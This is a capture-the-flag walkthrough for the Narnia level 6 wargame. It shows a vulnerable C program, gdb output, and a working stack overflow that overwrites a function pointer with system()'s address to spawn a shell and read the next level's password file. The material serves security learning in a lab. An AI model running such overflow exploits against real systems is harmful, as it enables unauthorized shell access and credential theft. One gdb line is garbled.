Level 6
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
extern char **environ;
// tired of fixing values...
// - morla
unsigned long get_sp(void) {
__asm__("movl %esp,%eax\n\t"
"and $0xff000000, %eax"
);
}
int main(int argc, char *argv[]){
char b1[8], b2[8];
int (*fp)(char *)=(int(*)(char *))&puts, i;
if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }
/* clear environ */
for(i=0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
/* clear argz */
for(i=3; argv[i] != NULL; i++)
memset(argv[i], '\0', strlen(argv[i]));
strcpy(b1,argv[1]);
strcpy(b2,argv[2]);
//if(((unsigned long)fp & 0xff000000) == 0xff000000)
if(((unsigned long)fp & 0xff000000) == get_sp())
exit(-1);
fp(b1);
exit(1);
}
At first glance this is a little more complex. The int (*fp)(char *)=(int(*)(char *))&puts, i;
statement ends up doing two things - (1) creating a function pointer to puts
, and also defining an integer i
. The environ, and any extra args, are zero’ed out.
The &
against fp
excludes it from pointing to a particular address in memory (namely 0xff******
). The call to fp(b1)
looks like our ticket out of here but it’s been defined after b1
and b2
.
Let’s see this through gdb
.
narnia6@narnia:/narnia$ gdb -q narnia6
Reading symbols from narnia6...(no debugging symbols found)...done.
gfter the `strcpy`. Let'sdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x08048559 <+0>: push ebp
0x0804855a <+1>: mov ebp,esp
0x0804855c <+3>: push ebx
0x0804855d <+4>: and esp,0xfffffff0
0x08048560 <+7>: sub esp,0x30
0x08048563 <+10>: mov DWORD PTR [esp+0x28],0x80483f0
0x0804856b <+18>: cmp DWORD PTR [ebp+0x8],0x3
...
0x0804867f <+294>: mov DWORD PTR [esp],eax
0x08048682 <+297>: call 0x80483e0 <strcpy@plt>
0x08048687 <+302>: mov eax,DWORD PTR [esp+0x28]
0x0804868b <+306>: and eax,0xff000000
0x08048690 <+311>: mov ebx,eax
0x08048692 <+313>: call 0x804854d <get_sp>
...
(gdb) br *0x0804868b
Breakpoint 1 at 0x804868b
(gdb) x/bx 0x80483f0
0x80483f0 <puts@plt>: 0xff
break before the &
, a see what the stack looks like then.
(gdb) r DDDDDDD fffffff
Starting program: /narnia/narnia6 DDDDDDD fffffff
Breakpoint 1, 0x0804868b in main ()
gdb) x/14wx $esp
0xffffd6d0: 0xffffd6e8 0xffffd8f5 0x00000021 0x08048712
0xffffd6e0: 0x00000003 0xffffd7a4 0x66666666 0x00666666
0xffffd6f0: 0x44444444 0x00444444 0x080483f0 0x00000003
0xffffd700: 0x080486c0 0xf7fcb000
That’s interesting - at 0xffffd6f8
is fp
! Which we can therefore overwrite by overflowing b1
.
The next question is what to overflow it with. We can’t add an address on the stack due to the &
check. Now if we could get fp
to point to something like system
, we might be in business.
It turns out that by importing stdlib.h
, we’re doing exactly that:
(gdb) break system
Breakpoint 3 at 0xf7e61e70
With this in mind we can craft our payload:
narnia6@narnia:/narnia$ ./narnia6 $(python -c 'print "/bin/sh;\x70\x1e\xe6\xf7 fffffff"')
$ whoami
narnia7
$ cat /etc/narnia_pass/narnia7
*** password ***``